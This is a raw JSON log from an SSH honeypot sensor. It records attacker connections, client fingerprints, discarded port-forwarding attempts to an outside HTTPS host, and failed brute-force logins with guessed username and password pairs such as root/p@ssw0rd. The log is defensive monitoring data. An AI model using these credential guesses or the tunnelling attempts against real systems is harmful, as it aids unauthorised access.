{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":51112,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5454a9f5f54","protocol":"ssh","message":"New connection: 160.187.180.146:51112 (159.203.135.109:22) [session: b5454a9f5f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:58.447711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:58.453133Z","src_ip":"160.187.180.146","session":"b5454a9f5f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:58.668607Z","src_ip":"160.187.180.146","session":"b5454a9f5f54","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:58.932693Z","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:59.024210Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xba\\xa4\\x84\\xb8\\r\\xebD\\x83$%E\\x86\\x9a\\xd3\\xea*\\x02\\x16+tk\\x99\\x15\\xd4\\x98\\x89\\xc4/\\xb2\\xcf\\xba\\xe3 62$\\x06\\x9e5\\x13\\n\\x12\\xda\\x9d\\x08\\xd9\\xc6\\x10Qr\\xf8\\x8b\\x11\\xe6\\x8cr\\x15rI\\xcf\\xfe.\\x97\\xb6\\xdb\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\xd2n\\xa3\\xec\\xf7\\xeb\\x17\\xa7h\\xeb\\x92\\xf8\\xd2\\x88Z\\xc9\\xb9j\\xac\\x9b\\x1e.\\x8f\\x12\\x01kK\\xf8\\x1dY8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xba\\xa4\\x84\\xb8\\r\\xebD\\x83$%E\\x86\\x9a\\xd3\\xea*\\x02\\x16+tk\\x99\\x15\\xd4\\x98\\x89\\xc4/\\xb2\\xcf\\xba\\xe3 62$\\x06\\x9e5\\x13\\n\\x12\\xda\\x9d\\x08\\xd9\\xc6\\x10Qr\\xf8\\x8b\\x11\\xe6\\x8cr\\x15rI\\xcf\\xfe.\\x97\\xb6\\xdb\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\xd2n\\xa3\\xec\\xf7\\xeb\\x17\\xa7h\\xeb\\x92\\xf8\\xd2\\x88Z\\xc9\\xb9j\\xac\\x9b\\x1e.\\x8f\\x12\\x01kK\\xf8\\x1dY8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:59.027221Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:59.275988Z","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:59.336872Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8eG\\\\\\r\\x92\\xf0\\x92\\xba\\xa4\\x90\\x96\\xd1F\\xf0<[-H\\xef\\xcbm=f\\xfe\\xe1\\xb1ck7n\\xab\\xc9 C?3\\x83\\xa7J\\xa9\\xfaMZS\\xc0\\xc5M\\xde\\xc0\\x04\\xaf\\xb7@,x\\xf5`[\\x9d9\\x8f\\xd7_\\x96\\xc7\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb4\\n\\xe0\\xd0\\t\\xb0\\x18\\x8e\\xd7\\xe1G\\xfee\\x0bP\\xd4\\x989\\x99~\\x18\\xb9\\x97+\\xf7r\\xc7\\x89\\xe0\\xac\\n5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8eG\\\\\\r\\x92\\xf0\\x92\\xba\\xa4\\x90\\x96\\xd1F\\xf0<[-H\\xef\\xcbm=f\\xfe\\xe1\\xb1ck7n\\xab\\xc9 C?3\\x83\\xa7J\\xa9\\xfaMZS\\xc0\\xc5M\\xde\\xc0\\x04\\xaf\\xb7@,x\\xf5`[\\x9d9\\x8f\\xd7_\\x96\\xc7\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb4\\n\\xe0\\xd0\\t\\xb0\\x18\\x8e\\xd7\\xe1G\\xfee\\x0bP\\xd4\\x989\\x99~\\x18\\xb9\\x97+\\xf7r\\xc7\\x89\\xe0\\xac\\n5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:59.357961Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:59.511954Z","src_ip":"45.153.34.195","session":"8ab24b4753a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elena","password":"elena","message":"login attempt [elena/elena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:59.581979Z","src_ip":"160.187.180.146","session":"b5454a9f5f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:59.606943Z","src_ip":"91.92.40.36","session":"ceadf7410f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":58724,"dst_ip":"10.17.0.5","dst_port":22,"session":"3229f558aa99","protocol":"ssh","message":"New connection: 73.36.177.174:58724 (10.17.0.5:22) [session: 3229f558aa99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:00.185650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:00.194860Z","src_ip":"73.36.177.174","session":"3229f558aa99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:00.238772Z","src_ip":"73.36.177.174","session":"3229f558aa99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd123456789","message":"login attempt [admin/abcd123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:00.447221Z","src_ip":"73.36.177.174","session":"3229f558aa99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15704,"dst_ip":"10.17.0.5","dst_port":22,"session":"7193f25d48b5","protocol":"ssh","message":"New connection: 45.153.34.195:15704 (10.17.0.5:22) [session: 7193f25d48b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:00.538430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:00.560521Z","src_ip":"45.153.34.195","session":"7193f25d48b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:00.654455Z","src_ip":"45.153.34.195","session":"7193f25d48b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:00.810141Z","src_ip":"160.187.180.146","session":"b5454a9f5f54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:01.144679Z","src_ip":"45.153.34.195","session":"7193f25d48b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:01.490156Z","src_ip":"73.36.177.174","session":"3229f558aa99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:02.244251Z","src_ip":"45.153.34.195","session":"7193f25d48b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.66812872886658,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:02.525864Z","src_ip":"128.199.8.54","session":"76f62db2ac2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":39792,"dst_ip":"10.17.0.5","dst_port":22,"session":"acbbedd80712","protocol":"ssh","message":"New connection: 45.153.34.195:39792 (10.17.0.5:22) [session: acbbedd80712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:03.505832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:03.514067Z","src_ip":"45.153.34.195","session":"acbbedd80712","protocol":"ssh"}
